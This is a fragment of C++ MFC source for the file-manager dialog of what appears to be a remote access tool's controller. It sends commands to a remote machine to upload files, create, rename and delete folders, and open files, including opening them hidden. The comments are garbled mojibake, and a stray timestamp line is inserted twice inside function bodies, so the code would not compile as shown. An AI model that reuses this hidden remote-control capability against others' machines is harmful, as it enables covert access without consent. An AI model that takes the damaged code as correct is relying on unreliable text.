}
void CFileManagerDlg::OnLocalStop()
{
// TODO: Add your command handler code here
m_bIsStop = true;
}
void CFileManagerDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
delete this;
CDialog::PostNcDestroy();
}
void CFileManagerDlg::SendTransferMode()
{
CFileTransferModeDlg dlg(this);
dlg.m_strFileName = m_strUploadRemoteFile;
switch (dlg.DoModal())
{
case IDC_OVERWRITE:
m_nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case IDC_OVERWRITE_ALL:
m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL;
break;
case IDC_ADDITION:
m_nTransferMode = TRANSFER_MODE_ADDITION;
break;
case IDC_ADDITION_ALL:
m_nTransferMode = TRANSFER_MODE_ADDITION_ALL;
break;
case IDC_JUMP:
m_nTransferMode = TRANSFER_MODE_JUMP;
break;
case IDC_JUMP_ALL:
m_nTransferMode = TRANSFER_MODE_JUMP_ALL;
break;
case IDC_CANCEL:
m_nTransferMode = TRANSFER_MODE_CANCEL;
break;
}
if (m_nTransferMode == TRANSFER_MODE_CANCEL)
{
m_bIsStop = true;
EndLocalUploadFile();
return;
}
BYTE bToken[5];
bToken[0] = COMMAND_SET_TRANSFER_MODE;
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
m_iocpServer->Send(m_pContext, (unsigned char *)&bToken, sizeof(bToken));
}
void CFileManagerDlg::SendFileData()
{
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
LONG dwOffsetHigh = pFileSize->dwSizeHigh ;
LONG dwOffsetLow = pFileSize->dwSizeLow;
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
ShowProgress();
if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop)
{
EndLocalUploadFile();
return;
}
HANDLE hFile;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
return;
}
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
DWORD nNumberOfBytesRead = 0;
BYTE *lpBuffer = (BYTE *)LocalAlloc(LPTR, MAX_SEND_BUFFER);
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>
lpBuffer[0] = COMMAND_FILE_DATA;
memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow));
// <20><><EFBFBD><EFBFBD>ֵ
bool bRet = true;
ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
CloseHandle(hFile);
if (nNumberOfBytesRead > 0)
{
int nPacketSize = nNumberOfBytesRead + nHeadLength;
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
}
LocalFree(lpBuffer);
}
bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
return FALSE;
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteDirectory(strDirectory);
}
else
{
char strFile[MAX_PATH];
wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteFile(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
if(!RemoveDirectory(lpszDirectory))
{
return FALSE;
}
return true;
}
void CFileManagerDlg::OnLocalNewfolder()
{
if (m_Local_Path == "")
return;
// TODO: Add your command handler code here
CInputDialog dlg;
dlg.Init(_T("<EFBFBD>½<EFBFBD>Ŀ¼"), _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"), this);
if (dlg.DoModal() == IDOK && dlg.m_str.GetLength())
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
MakeSureDirectoryPathExists(m_Local_Path + dlg.m_str + "\\");
FixedLocalFileList(".");
}
}
void CFileManagerDlg::OnRemoteNewfolder()
{
if (m_Remote_Path == "")
return;
// TODO: Add your command handler code here
// TODO: Add your command handler code here
CInputDialog dlg;
dlg.Init(_T("<EFBFBD>½<EFBFBD>Ŀ¼"), _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"), this);
if (dlg.DoModal() == IDOK && dlg.m_str.GetLength())
{
CString file = m_Remote_Path + dlg.m_str + "\\";
UINT nPacketSize = file.GetLength() + 2;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
lpBuffer[0] = COMMAND_CREATE_FOLDER;
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
}
void CFileManagerDlg::OnTransfer()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
OnLocalCopy();
}
else
{
OnRemoteCopy();
}
}
void CFileManagerDlg::OnRename()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
m_list_local.EditLabel(m_list_local.GetSelectionMark());
}
else
{
m_list_remote.EditLabel(m_list_remote.GetSelectionMark());
}
}
void CFileManagerDlg::OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR;
// TODO: Add your control notification handler code here
CString str, strExistingFileName, strNewFileName;
m_list_local.GetEditControl()->GetWindowText(str);
strExistingFileName = m_Local_Path + m_list_local.GetItemText(pDispInfo->item.iItem, 0);
strNewFileName = m_Local_Path + str;
*pResult = ::MoveFile(strExistingFileName.GetBuffer(0), strNewFileName.GetBuffer(0));
}
void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR;
// TODO: Add your control notification handler code here
CString str, strExistingFileName, strNewFileName;
m_list_remote.GetEditControl()->GetWindowText(str);
strExistingFileName = m_Remote_Path + m_list_remote.GetItemText(pDispInfo->item.iItem, 0);
strNewFileName = m_Remote_Path + str;
if (strExistingFileName != strNewFileName)
{
UINT nPacketSize = strExistingFileName.GetLength() + strNewFileName.GetLength() + 3;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketSize);
lpBuffer[0] = COMMAND_RENAME_FILE;
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
*pResult = 1;
}
void CFileManagerDlg::OnDelete()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
OnLocalDelete();
}
else
{
OnRemoteDelete();
}
}
void CFileManagerDlg::OnNewfolder()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
OnLocalNewfolder();
}
else
{
OnRemoteNewfolder();
}
}
void CFileManagerDlg::OnRefresh()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
FixedLocalFileList(".");
}
else
{
GetRemoteFileList(".");
}
}
void CFileManagerDlg::OnLocalOpen()
{
// TODO: Add your command handler code here
CString str;
str = m_Local_Path + m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0);
ShellExecute(NULL, "open", str, NULL, NULL, SW_SHOW);
}
void CFileManagerDlg::OnRemoteOpenShow()
{
// TODO: Add your command handler code here
CString str;
str = m_Remote_Path + m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
int nPacketLength = str.GetLength() + 2;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
void CFileManagerDlg::OnRemoteOpenHide()
{
// TODO: Add your command handler code here
CString str;
str = m_Remote_Path + m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
int nPacketLength = str.GetLength() + 2;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
CListCtrl *pListCtrl = &m_list_local;
CMenu popup;
popup.LoadMenu(IDR_FILEMANAGER);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->DeleteMenu(6, MF_BYPOSITION);
if (pListCtrl->GetSelectedCount() == 0)
{
int count = pM->GetMenuItemCount();
2019-01-18 17:37:15 +08:00
for (int i = 0; i < count; ++i)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
if (pListCtrl->GetSelectedCount() <= 1)
{
pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED);
}
if (pListCtrl->GetSelectedCount() == 1)
{
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1)
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED);
else
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_ENABLED);
}
else
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED);
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
*pResult = 0;
}
void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
int nRemoteOpenMenuIndex = 5;
CListCtrl *pListCtrl = &m_list_remote;
CMenu popup;
popup.LoadMenu(IDR_FILEMANAGER);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->DeleteMenu(IDM_LOCAL_OPEN, MF_BYCOMMAND);
if (pListCtrl->GetSelectedCount() == 0)
{
int count = pM->GetMenuItemCount();
2019-01-18 17:37:15 +08:00
for (int i = 0; i < count; ++i)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
if (pListCtrl->GetSelectedCount() <= 1)
{
pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED);
}
if (pListCtrl->GetSelectedCount() == 1)
{
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1)
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION| MF_GRAYED);
else
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_ENABLED);
}
else
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED);
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
*pResult = 0;
}
bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
LPTSTR p, pszDirCopy;
DWORD dwAttributes;
// Make a copy of the string for editing.
__try
{
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
if(pszDirCopy == NULL)
return FALSE;
lstrcpy(pszDirCopy, pszDirPath);
p = pszDirCopy;
// If the second character in the path is "\", then this is a UNC
// path, and we should skip forward until we reach the 2nd \ in the path.
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
{
p++; // Skip over the first \ in the name.
p++; // Skip over the second \ in the name.
// Skip until we hit the first "\" (\\Server\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it.
if(*p)
{
p++;
}
// Skip until we hit the second "\" (\\Server\Share\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it also.
if(*p)
{
p++;
}
}
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
{
p++;
p++;
// If it exists, skip over the root specifier
if(*p && (*p == TEXT('\\')))
{
p++;
}
}
while(*p)
{
if(*p == TEXT('\\'))
{
*p = TEXT('\0');
dwAttributes = GetFileAttributes(pszDirCopy);
// Nothing exists with this name. Try to make the directory name and error if unable to.
if(dwAttributes == 0xffffffff)
{
if(!CreateDirectory(pszDirCopy, NULL))
{
if(GetLastError() != ERROR_ALREADY_EXISTS)
{
free(pszDirCopy);
return FALSE;
}
}
}
else
{
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
{
// Something exists with this name, but it's not a directory... Error
free(pszDirCopy);
return FALSE;
}
}
*p = TEXT('\\');
}
p = CharNext(p);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
// SetLastError(GetExceptionCode());
free(pszDirCopy);
return FALSE;
}
free(pszDirCopy);
return TRUE;
}